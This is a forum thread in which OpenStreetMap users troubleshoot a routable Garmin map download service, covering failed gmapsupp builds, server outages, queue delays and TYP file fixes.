KrisBeecroft wrote:
Can you please look at the US-Germantown map segment? It's not delivering zipped files when downloaded; just the individual tile files. I can download other maps just fine. 🙂
Please report this issue to Lambertus. It has to do with a failure in his map compilation, several people are complaining about this already.
- Re: Worldwide routable Garmin maps: URL REMOVED · Billcoke (Gast) · 04.11.2016 06:33 · [flux]
Hi,
I'm a Garmin Nuvi user, looking for routable maps for a self drive trip in Japan.
I read the instructions and follow the steps to download the map for Japan. The URL in the email received from OSM, contains only one file (ie. osm_generic_tiles.zip). where can I download this map file (ie. gmapsupp.img) needed for the Gamin GPS?
The options i selected were:
1. Map Type: Generic Routable
2. TYP file: None
3. Preferred country: JapanMany thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.11.2016 11:29 · [flux]
Bill, see my comment above
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 04.11.2016 11:42 · [flux]
Bill, if your need is urgent, you could try another map provider from those listed on the osm wiki site http://wiki.openstreetmap.org/wiki/OSM_ … n/Download
Maybe another version from the site you tied may work too I guess. - Re: Worldwide routable Garmin maps: URL REMOVED · Billcoke (Gast) · 05.11.2016 07:33 · [flux]
ligfietser wrote:
Bill, see my comment above
Ligfietser, I wanted to email to Lambertus, but I'm a new user, so don't have permission to do so.
Many thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.11.2016 08:55 · [flux]
When you request a map you will get an email from him, with a reply address.
Or try to request another map when a new update is available. - Re: Worldwide routable Garmin maps: URL REMOVED · Billcoke (Gast) · 05.11.2016 18:46 · [flux]
ligfietser wrote:
When you request a map you will get an email from him, with a reply address.
Or try to request another map when a new update is available.Many thanks ligfietser, will email to him directly.
- Re: Worldwide routable Garmin maps: URL REMOVED · andrewebling (Gast) · 06.11.2016 09:15 · [flux]
Just to confirm, I've been seeing the same issue, where only one type of download file is created (osm_generic_new_tiles.zip) and there is no link to download the Garmin .img file. I've just replied to the "download ready" notification email to advise of the problem and steps to reproduce.
I've now tried a few different map types, but the result always seems to be the same.
EDIT: Further to this, I just selected a much small area with manual tile selection (just the south east of UK, rather than the whole of the UK) and now the download links generated correctly.
- Re: Worldwide routable Garmin maps: URL REMOVED · mario_b (Gast) · 06.11.2016 13:28 · [flux]
It is still the same here ... seems all MAPs for New Style are missing ... i requested generation of some Maps (Greece, Albania ...) got the tracking id and the completion mail.
But on all Requests where only the osm_generic_new_tiles.zip
Example for Greece:
http://osm.pleiades.uni-wuppertal.de/ga … 1463fc512/Regards Mario
- Re: Worldwide routable Garmin maps: URL REMOVED · xb4r7x (Gast) · 06.11.2016 15:28 · [flux]
Looks like there's some software version mismatches or something - the job log errors when it tries to make the gmapsupp file. Won't be fixed until the author runs some updates.
I was able to put all the .img tile files it generated into my Edge 810 and it seems to have worked anyway. I didn't need a lot of tiles though, so ymmv if you have a lot of them.
Getting␣the␣TYP␣file /home/lambertus/garmin/utils/mkgmap-style-sheets/typ/Openfietsmap␣lite/20011.typ␣to␣./20011.typ Building␣gmapsupp Exception␣in␣thread␣"main"␣java.lang.UnsupportedClassVersionError:␣uk/me/parabola/mkgmap/main/Main␣:␣Unsupported␣major.minor␣version␣52.0 at␣java.lang.ClassLoader.defineClass1(Native␣Method) at␣java.lang.ClassLoader.defineClass(ClassLoader.java:800) at␣java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) at␣java.net.URLClassLoader.defineClass(URLClassLoader.java:449) at␣java.net.URLClassLoader.access$100(URLClassLoader.java:71) at␣java.net.URLClassLoader$1.run(URLClassLoader.java:361) at␣java.net.URLClassLoader$1.run(URLClassLoader.java:355) at␣java.security.AccessController.doPrivileged(Native␣Method) at␣java.net.URLClassLoader.findClass(URLClassLoader.java:354) at␣java.lang.ClassLoader.loadClass(ClassLoader.java:425) at␣sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308) at␣java.lang.ClassLoader.loadClass(ClassLoader.java:358) at␣sun.launcher.LauncherHelper.checkAndLoadMain(LauncherHelper.java:482) Zipping␣gmapsupp Gmapsupp␣does␣not␣exist!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.11.2016 16:27 · [flux]
@Mario
You can convert those tiles zip file with osm combiner to a gmapsupp.img and installable version for Basecamp or Mapsource. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.11.2016 22:32 · [flux]
@xb4r7x
Seems related to the Java version, see https://forum.openstreetmap.org/viewtopic.php?id=24821
Please mail this issue to Lambertus who builds those maps. He might not check this forum regularly. - Re: Worldwide routable Garmin maps: URL REMOVED · Billcoke (Gast) · 11.11.2016 06:46 · [flux]
ligfietser wrote:
When you request a map you will get an email from him, with a reply address.
Or try to request another map when a new update is available.Have emailed to Lambertus several times, but no response. Anyone able to get in touch with him?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.11.2016 08:52 · [flux]
Billcoke wrote:
Have emailed to Lambertus several times, but no response. Anyone able to get in touch with him?
Unfortunately not, you have to wait until the next update or try another map provider.
- Re: Worldwide routable Garmin maps: URL REMOVED · zoch (Gast) · 01.12.2016 09:30 · [flux]
Thanks for the site.
Is there any possibility to cut the size of a huge tile - specifcially SA-Medina - it includes a small part that is required to cover all of Israel, but for that it doubles the size of the file and makes it too big for e.g. Garmin 520. Thanks again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2016 12:23 · [flux]
No, unfortunately not but with http://extract.bbbike.org/ you can exactly specify how big your map will be.
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 06.12.2016 00:51 · [flux]
I see the recent OSM for Garmin shows a date of 29-11-2016.
How many days before this map would have been the cut-off to tracks that one has added.
I added new trails to an area we use about 6 days prior to this date and they didn't make the update?Phil
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.12.2016 09:18 · [flux]
Philatsea wrote:
I see the recent OSM for Garmin shows a date of 29-11-2016.
How many days before this map would have been the cut-off to tracks that one has added.
I added new trails to an area we use about 6 days prior to this date and they didn't make the update?Phil
I'm not sure but max. one day before. I have had a look into my area and my edits from 27-11 where all there so I dont know the cause of your issue. Maybe your map is shown the history cache? You can clear it with ctrl-G (2x).
- Re: Worldwide routable Garmin maps: URL REMOVED · Randal4 (Gast) · 15.12.2016 21:04 · [flux]
Hi
Greate project, but I see some bugs.
1. In Generic Routable stream=river. Looks terrible in garmin Dakota 🙁
2. Generic Routable (new style) have problem with render water polygon. Example: http://osm.org/go/0hXhu5W?m= is not rendered...
3. Track Grade1 is not redered. Grade1 looks like Grade2, 3... Is not good for MTB.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.12.2016 09:53 · [flux]
Randal4 wrote:
Hi
Greate project, but I see some bugs.
1. In Generic Routable stream=river. Looks terrible in garmin Dakota 🙁Can you send a link and screenshot? Try the Mapnik TYP file or else the Generic New map style.
2. Generic Routable (new style) have problem with render water polygon. Example: http://osm.org/go/0hXhu5W?m= is not rendered...
Those lakes are rendered on the latest map. Maybe you have overlapping maps on your Dakota?
Try to check it with Javawa Device Manager.3. Track Grade1 is not redered. Grade1 looks like Grade2, 3... Is not good for MTB.
The generic maps are not specifically meant for bicycles. Try the openfietsmap, or openmtbmap.org which is meant for MTB.
- Re: Worldwide routable Garmin maps: URL REMOVED · Randal4 (Gast) · 16.12.2016 20:12 · [flux]
1. In Generic Routable stream=river. Looks terrible in garmin Dakota sad
http://osm.org/go/0hXhdcqB-?m=
In Basecamp:
3. Any map don't have grade 1 rendered feature... Please add this in one in yours map. Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.12.2016 22:25 · [flux]
Randal4 wrote:
1. In Generic Routable stream=river. Looks terrible in garmin Dakota sad
http://osm.org/go/0hXhdcqB-?m=
In Basecamp:
Thanks, that's a bug in the default mkgmap style. Drains are rendered as river (0x1f), it should be better if it is rendered the same as strean (0x18). I will report it *)
waterway=canal␣[0x1f␣resolution␣21] waterway=drain␣[0x1f␣resolution␣22] waterway=river␣[0x1f␣resolution␣18] waterway=rapids|waterway=waterfall␣[0x1f␣resolution␣22] waterway=stream␣[0x18␣resolution␣22]
3. Any map don't have grade 1 rendered feature... Please add this in one in yours map. Thanks
My map (openfietsmap) shows it already.
Edit:
-
) Already fixed, changes will be visible in the next update.
-
) Already fixed, changes will be visible in the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · ukdodger (Gast) · 30.12.2016 12:27 · [flux]
Cant find anywhere else to put this but I'm still waiting for a download after four days. I'm stuck at number 10 in the queue with 60 minutes to go???
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 30.12.2016 13:44 · [flux]
@ukdodger I'd suggest that you try one of the alternatives mentioned at https://forum.openstreetmap.org/viewtop … 28#p616328 . I suspect that garmin.openstreetmap.nl still isn't working at the moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · ukdodger (Gast) · 10.01.2017 16:42 · [flux]
SomeoneElse wrote:
@ukdodger I'd suggest that you try one of the alternatives mentioned at https://forum.openstreetmap.org/viewtop … 28#p616328 . I suspect that garmin.openstreetmap.nl still isn't working at the moment.
Thanks for your reply. It's even worse now. I get the email saying downloads are available but they wont download despite many attempts. Emailed Lambertus. No reply.
EDIT. APOLOGIES. All my fault disk was full. Should have checked. Pillock. 😐
- Re: Worldwide routable Garmin maps: URL REMOVED · wieland (Gast) · 11.01.2017 23:06 · [flux]
Some weeks ago I planned la long trip by car (2000km through europe) and I found it difficult to select the needed tiles.
It would help to see the planned track.
Since Lambertus was not responding, I tried myself.http://www.reta-vortaro.de/garmin/
is a copy and mostly working. I tried only generic, no TYP.
There is a new field to add a gpx-file as a track and also a field to add a kml-file.
I don't want to fork. It's just a proof of concept.
Maybe it can be merged. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.01.2017 11:06 · [flux]
wieland wrote:
There is a new field to add a gpx-file as a track and also a field to add a kml-file.
I don't want to fork. It's just a proof of concept.
Maybe it can be merged.I like your concept, hope Lambertus will pick this up and can merge it.
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 26.01.2017 09:00 · [flux]
service interruption due to power cut
Dear all,
the server room hosting most of the servers is going to have a power cut for works at the power lines. This means that the service will be mostly downfrom Friday, Feb. 3rd, around noon, to Monday, Feb. 6th, around noon.
Sorry for the inconvenience.
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 07.02.2017 21:54 · [flux]
Hi,
I'm having some trouble getting my TYP file* in a freshly downloaded map file. TypChanger gives no error, but my GPS still shows the original style. A year ago I had no problem with it. Has anything changed in the maps I'm not aware of? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.02.2017 22:45 · [flux]
Not that i know, do you have a link to that map?
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 07.02.2017 23:03 · [flux]
It is a custom map, generated today: http://sfs4.pleiades.uni-wuppertal.de/g … 19d02146fa
I can try with a plain pre-generated map tomorrow.Edit: I didn't see it before, but this might be somehow related to ega95jch and https://forum.openstreetmap.org/viewtopic.php?id=57186 .
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.02.2017 10:23 · [flux]
I have downloaded the gmapsupp.img, it looks as expected so nothing wrong with that.
When I want to change the typ file with typchanger, nothing happens. With gmaptool: no success either.
Maybe it is too big? I have no idea why this doesn't work anymore. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.02.2017 13:35 · [flux]
I've tested a few pre-generated maps, seems that only the bigger ones are affected by this bug. Maybe it helps if Lambertus will update his mkgmap version (mkgmap-r3664) sooner or later?
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 08.02.2017 16:22 · [flux]
The map is FID 2000, PID 6, while TYP file is FID 2000, PID 1. GMapTool replace TYP only, when there is exact match. So you should correct your TYP file first. This can be done with TYP editor like TYPViewer or with GMapTool (tab "Write", action "Correct TYP").
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.02.2017 16:37 · [flux]
Thanks popej, it works now as expected!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 08.02.2017 19:29 · [flux]
Mapsettoolkit will do this in one go.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 08.02.2017 21:39 · [flux]
popej, ligfietser - thank you very much for your help. I put the updated file online as
http://osm.mueschelsoft.de/24276a.typ - Re: Worldwide routable Garmin maps: URL REMOVED · Ronver (Gast) · 10.02.2017 09:32 · [flux]
Goedemorgen Lambertus,
Mijn naam is Ron Vermeulen en probeer met u in contact te komen.
Ik doe aan geocaching en wil graag gebruik maken van deze kaart(ten) met namen de NL kaart, dus heb ik de NL kaart aangevraagd
http://garmin.openstreetmap.nl/
Generic Routable
Generic Routable (new style)en aangegeven in Europa Nederland mijn email ingevuld en verstuurd, kreeg mail terug gisteren met link This request is #209 in the queue. The delay is approximately 21 hours, oke dan wachten het af.
Maar toen ik vanmorgen op de link klikte kreeg ik te lezen This request is #723 in the queue. The delay is approximately 3 days. doe ik wat verkeerd o.i.d. of duurt het daadwerkelijk zo lang, ik hoop dat u mij daar duidelijkheid in kunt geven.
Met vriendelijke groet,
Ron - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.02.2017 14:52 · [flux]
Beste Ron, de kaarten waren afgelopen weekend off line, vandaar dat er een wachtrij staat. Anders later een nieuw verzoek indienen.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ronver (Gast) · 11.02.2017 14:21 · [flux]
Beste Ligfietser,
Bedankt voor uw antwoordt, ik wacht het wanneer het weer online komt voorlopig zal het nog wel even duren: This request is #1417 in the queue. The delay is approximately 5.9 days. 😛
Met vriendelijke groet,
Ron - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.02.2017 14:44 · [flux]
Je bent niet de enige die wacht, osm.pleiades.uni-wuppertal.de/garmin/, queue = 1508 requests (~6.3 days), status = OK
Mijn OFM is ook niet bijgewerkt dus de server lijkt overbelast momenteel. - Re: Worldwide routable Garmin maps: URL REMOVED · zwyszomi (Gast) · 15.02.2017 12:59 · [flux]
Hi
Are there any updates or news available regarding the date when the server is expected to be alive again?
regards
zbig - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.02.2017 16:29 · [flux]
Sorry, no idea. Just keep an eye on the site and try again later.
- Re: Worldwide routable Garmin maps: URL REMOVED · BoaBoa (Gast) · 17.02.2017 12:16 · [flux]
Hi guys, might be a bit of a newbie question here, but...
I've only used this site for getting Routable Bicycle (Openfietsmap Lite) files onto my Garmin 520.
The site is down, and I'm keen to get a map. I've tried a few options on bbbike.org, but when I load them onto my device, it can't seem to find the maps. Any idea which map I should be downloading, or any other site I can download a map that would support the "Routable Bicycle (Openfietsmap Lite)" I've been using previously?
Many thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.02.2017 20:09 · [flux]
If you are looking for a map in Europe you could have a look on my site.
If you have problems installing maps you can check your device with http://www.javawa.nl/jdm_en.html - Re: Worldwide routable Garmin maps: URL REMOVED · nikusha (Gast) · 18.02.2017 07:30 · [flux]
Server shows that it's ok
But link I got when requested map shows 🙁
http://sfs4.pleiades.uni-wuppertal.de/g … 47093364c0 - Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 18.02.2017 08:05 · [flux]
I just tried a small 20mb (zipped) generic routable by manually choosing a few tiles and that was returned in about a minute, though the message said "This request is #2 in the queue. The delay is approximately 12 minutes. "
So all seems on track for success now. 🙂
The server status below the blue map says...
Server status:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm3.pleiades.uni-wuppertal.de/garmin/ not available!
sfs4.pleiades.uni-wuppertal.de/garmin/, queue = 1 requests (~0 days), status = OK - Re: Worldwide routable Garmin maps: URL REMOVED · -KindRat- (Gast) · 19.02.2017 19:22 · [flux]
Hi there! Amigos, I have a problem: I receive just one letter and after message "This request could not be found in the queue. Most likely the map is already generated and you received another email containing the url where the map can be downloaded, or you should receive that email shortly." is going nothing. Who knows, what a problem is it? Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · WallPaper (Gast) · 20.02.2017 05:52 · [flux]
On the server status page one of them states that the disk is full
sfs4.pleiades.uni-wuppertal.de/garmin/,␣queue␣=␣0␣requests␣(~0␣days),␣status␣=␣Disk␣full
Is there a way I can select to use one of the other servers? I'm getting an email to tell me the tracking request id, but none to tell me my maps are ready. It's been around 12 hours so far. I'm guessing the full disk is the reason why.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dorothee Fleck (Gast) · 20.02.2017 06:25 · [flux]
Hi,
Just want to inform you:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
But I get the message: not found
sfs4.pleiades.uni-wuppertal.de/garmin/, queue = 1 requests (~0 days), status = Disk fullThanks
- Re: Worldwide routable Garmin maps: URL REMOVED · tronador (Gast) · 20.02.2017 13:09 · [flux]
Hi
I have tried numerous times to request a manual tiles. I enter my email address and get the first email but never get the 2nd and no link to my map. Can someone please respond as to what the problem is. Its worked in the past , why not know?
thanks - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.02.2017 14:21 · [flux]
It has worked in the past but sometimes there are issues with the server. Keep trying it later if the status shows OK again.
Server status:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 2 requests (~0 days), status = OK
sfs4.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = Disk full - Re: Worldwide routable Garmin maps: URL REMOVED · Jimidimi (Gast) · 21.02.2017 09:03 · [flux]
sfs4.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = Disk full
Hi there
Is this the reason why i can't reveice a second email also? I've tried many times on different email accounts and checked the spam box as well. And if this is the problem, when can it be solved?Thank you
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 21.02.2017 12:05 · [flux]
Try a different provider until fixed...
http://wiki.openstreetmap.org/wiki/OSM_ … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · Jimidimi (Gast) · 21.02.2017 13:49 · [flux]
nevw wrote:
Try a different provider until fixed...
http://wiki.openstreetmap.org/wiki/OSM_ … n/DownloadI Understand, but those files are too big for a garmin edge 520. You can't choose a small area in the wiki map.
- Re: Worldwide routable Garmin maps: URL REMOVED · escada (Gast) · 21.02.2017 16:01 · [flux]
Jimidimi wrote:
Understand, but those files are too big for a garmin edge 520. You can't choose a small area in the wiki map.
If you take a look at e.g. http://extract.bbbike.org/ you can select any area.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jimidimi (Gast) · 21.02.2017 20:12 · [flux]
escada wrote:
Jimidimi wrote:
Understand, but those files are too big for a garmin edge 520. You can't choose a small area in the wiki map.
If you take a look at e.g. http://extract.bbbike.org/ you can select any area.
I did that but when i open garmin it says that the maps can't be openend:-S
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 21.02.2017 21:19 · [flux]
There are special instructions for the Edge520 on the DCRainmaker site which may also assist getting the bbbike garmin suitable map on your unit.
https://www.google.com.au/amp/s/www.dcr … nt=safarix - Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 25.02.2017 09:50 · [flux]
Hi,
just to let you know: the big RAID system attached to the "sfs4" server died finally. It was already flacky for quite some time, but now it seems to be finally dead.
The system was, like everything we use, pretty dated (~10 years). Running these services for the community requires quite a substantial infrastructre (esp. disk space and network), so we rely on sorted out hardware.
Lambertus took the server out of the production queue, the remain servers do work ok. So besides longer waiting times, the service should be usable again.
We are currently investigating if there are any alternative solutions, to make the service better again.
- Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 05.03.2017 20:59 · [flux]
After I download a map or maps, it goes to "Downloads", naturally. Can someone please tell me the folder the files belong in so that they will be recognized by Basemap? I want to use Basemap to transfer the files to my Legend H.
I've done this before, but for the life of me can't figure it out this time.
Thanks,
John Addison - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.03.2017 23:55 · [flux]
What operating system do you use? Windows? Mac?
If you use the windows installer, you can specify where you want to put those files, it doesnt matter where. - Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 06.03.2017 02:17 · [flux]
Well, something is wrong then. I tried putting them in the Basemap folder and Basemap simply does not recognize that they are there. The only maps I can see available are the Global Map and a map named mtg_vm0w. To be honest, I've never had this problem before and was thinking I'd forgotten how to do it. I re-downloaded Basemap with no better result.
- Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 06.03.2017 02:25 · [flux]
p.s. I'm using Windows 10. I extracted the file osm_generic_new_tiles in downloads and it automatically put the files into a folder with the same name, also in downloads. I keep feeling I've missed something obvious here.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.03.2017 13:40 · [flux]
Those tiles zip is not the right file. You need to download the windows version which contains an exe installer which will place it automatically into the right folder.
- Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 06.03.2017 17:58 · [flux]
Thanks! I did that and it worked fine in Basemap. Any idea how I can identify individual maps in Basemap so I can transfer some of them to my Etrex Legend H? I downloaded the whole of B.C. Canada hoping I could identify the individual maps so I could transfer some of them at a time from Basemap to the Etrex depending on which area i would be in. ( I used to do this with MapSource but it won't work on Windows 10). Or do I have to do this directly from OpenStreetMap?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.03.2017 18:36 · [flux]
Sorry but I don't understand what you mean with individual maps? You seem to have an old gps unit. You can only transfer one map on that unit and the file name must be gmapsupp.img. You can rename it something.img but your device will not recognize it.
Mapsource will work on windws 10, you can download it from http://www8.garmin.com/support/download … jsp?id=209 - Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 06.03.2017 18:41 · [flux]
I see. I realize you can only load one map at a time. What I did in Mapsource was to highlight the tiles I wanted to download and they would transfer to the Etrex as one file. I was hoping to be able to do the same with Basemap. Thanks for the info on Mapsource.
- Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 06.03.2017 18:50 · [flux]
The Mapsource reference is for the USA. I have Mapsource Canada and can't find a reference to download a new version of that.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.03.2017 20:02 · [flux]
Here you can download a mapsource version that you dont have to install:
http://www.gps-expert.nl/delen/software … ent_EN.zip
Just unpack it somewhere and execute it. - Re: Worldwide routable Garmin maps: URL REMOVED · JohnAddison (Gast) · 07.03.2017 06:57 · [flux]
Problem solved, using the OpenStreetMap Windows files you suggested, and transferring them to the Etrex Legend H using another Garmin program called Mapinstall. Mapinstall allowed me to see the individual tiles in Basecamp, group them and download to the Etrex. l read that Mapinstall was supposed to be part of Basecamp, but I couldn't find it and downloaded it separately.
The Mapsource files are not as good quality as the original Mapsource files I have on disc, nor to the OpenStreetMap files.
Thanks for your help! - Re: Worldwide routable Garmin maps: URL REMOVED · ressl (Gast) · 12.03.2017 04:17 · [flux]
Dear Lambertus,
thank you very much for this project. Currently I'm on a trip through Asia and after one year on the road, I would have one request, which I think would improve the maps a bit:
For whatever reason, the powerlines are shown. I have no idea why this data is included, for navigation purposes I think it is pretty useless or even worse irritating. But it would be amazing, if you could replace them with the railway data. Sometimes this helps to find a place by browsing a map or explain, why it will not be possible to take a shortcut somewhere (or why a road seem to be placed totally unlogical). This data is missing, so it would be great if this could get switched.
Greetings,
MArtin - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.03.2017 08:31 · [flux]
Hi Martin,
I would recommend the generic new style maps, where the powerlines are removed. The railway network should be visible, if that is not the case, it is not in the osm data. - Re: Worldwide routable Garmin maps: URL REMOVED · fishyweb (Gast) · 27.03.2017 20:41 · [flux]
Hi. I'm probably being really dumb, but I'm never getting the field in which to enter my email address in the "Request your map or download it directly" area after I've selected the tiles I'm interested in. Have tried on Chrome and IE. Is there a problem with the web page, or am I missing something?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.03.2017 11:11 · [flux]
How big is your selection of tiles, if it is >4 Gb then you get a message "Selected map is too large!" and the e-mail address field will not be available.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 28.03.2017 19:33 · [flux]
fishyweb wrote:
Hi. I'm probably being really dumb, but I'm never getting the field in which to enter my email address in the "Request your map or download it directly" area after I've selected the tiles I'm interested in. Have tried on Chrome and IE. Is there a problem with the web page, or am I missing something?
The field is only shown when you activate manual tile selection and have at least one tile selected.
- Re: Worldwide routable Garmin maps: URL REMOVED · panthar (Gast) · 29.03.2017 00:40 · [flux]
fishyweb wrote:
Hi. I'm probably being really dumb, but I'm never getting the field in which to enter my email address in the "Request your map or download it directly" area after I've selected the tiles I'm interested in. Have tried on Chrome and IE. Is there a problem with the web page, or am I missing something?
There appears to be a bug currently in the JavaScript code behind the interface. When you have a valid selection, it does try to reveal the email fields but the code that is actually revealing the email field is causing an error.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.03.2017 09:11 · [flux]
Please report those errors directly to Lambertus, he won't read this forum often.
- Re: Worldwide routable Garmin maps: URL REMOVED · panthar (Gast) · 29.03.2017 16:46 · [flux]
ligfietser wrote:
Please report those errors directly to Lambertus, he won't read this forum often.
What's the best way to get in touch with him? Private message here?
Also, the site is working again. I think the problem was related to the map rendering servers being offline. I tracked down the error in the JS to trying to find something in a list of servers. Today, I see that they are online, so since it has a list of servers to look at, it worked itself out. 😄 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.03.2017 18:04 · [flux]
Good to hear that the issue is solved already.
panthar wrote:
What's the best way to get in touch with him? Private message here?
Lambertus wrote:
Contact
You can get contact me by replying to this forum topic, using the email function of this forum, through the OpenStreetMap user page or by email at: osm at na1400 dot info - Re: Worldwide routable Garmin maps: URL REMOVED · pawel111 (Gast) · 29.03.2017 18:49 · [flux]
Hi,
I am trying to get Kazakhstan map. On the map preview all names are (correctly) in Cyrillic. I downloaded proper *.img file but it shows all names (cities and streets) in latin (English) instead of cyrylic on Garmin device. Is this Garmin (dezl 770) issue or the *.img files are defined English naming only? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.03.2017 20:06 · [flux]
The img files are only compiled in latin/english.
- Re: Worldwide routable Garmin maps: URL REMOVED · c0nsumer (Gast) · 30.03.2017 15:38 · [flux]
Hi there; I really love this service and greatly appreciate it. It's helped me get mountain biking trails that I've mapped easily on to my Garmin.
I'd like to experiment on my own with mkgmap and some different rendering styles, and I was wondering if the style sheets are available.
I've found this (https://github.com/ligfietser/mkgmap-style-sheets), but it's not quite clear to me if those are the same?
Thanks very much!
Steve
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.03.2017 18:44 · [flux]
Yes, the generic new style and openfietsmap lite you can find here: https://github.com/ligfietser/mkgmap-st … ter/styles
The generic uses uses the built in mkgmap default style. - Re: Worldwide routable Garmin maps: URL REMOVED · POstrom (Gast) · 31.03.2017 14:05 · [flux]
Hello, After selecting tiles on OSM for Garmin, the email box is not appearing. Is this a technical issue? Tried on different computers and with Chrome and Firefox. Never had this problem before.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.03.2017 14:11 · [flux]
Maybe this has to do with the custom map generation?
Server status:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/ not available! - Re: Worldwide routable Garmin maps: URL REMOVED · scai (Gast) · 31.03.2017 16:50 · [flux]
The same problem has been reported here: https://help.openstreetmap.org/question … -available
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.03.2017 17:54 · [flux]
Please contact Lambertus:
Lambertus wrote:
You can get contact me by replying to this forum topic, using the email function of this forum, through the OpenStreetMap user page or by email at: osm at na1400 dot info - Re: Worldwide routable Garmin maps: URL REMOVED · justgoneawander (Gast) · 31.03.2017 22:47 · [flux]
POstrom wrote:
Hello, After selecting tiles on OSM for Garmin, the email box is not appearing. Is this a technical issue? Tried on different computers and with Chrome and Firefox. Never had this problem before.
I am also experiencing this issue. I'll swing an email to Lambertus (I take it he's the creator?) and see if he can help!
Here's to it getting fixed soon! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.04.2017 07:26 · [flux]
I hope he can fix it soon, or try another map provider like https://extract.bbbike.org/
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.04.2017 09:21 · [flux]
It seems there are problems with the servers at the moment so the whole site is down. I will try to contact the administrator of the Wuppertal server to see what is going on.
Update: server maintenance
- Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 03.04.2017 17:34 · [flux]
Dear Lambertus
I downloaded france, portugal, morocco, australia and it works very well on my GPS garmin montana 610
I downloaded 3 times at differents dates (february, march) NEPAL country and osm_generic_gmapsupp.zip doesn't work on gps
osm_generic_macosx.zip works well on basecamp on my macintoshI tried Enable manual tile selection and same problem with Nepal area
thanks
gilles - Re: Worldwide routable Garmin maps: URL REMOVED · Flupke2000 (Gast) · 04.04.2017 21:04 · [flux]
Hello!
I've been using this service for a while and really enjoyed using is! Great tool for preparing our holidays as the maps are so detailed (Big thanks to all the OSM editors!)
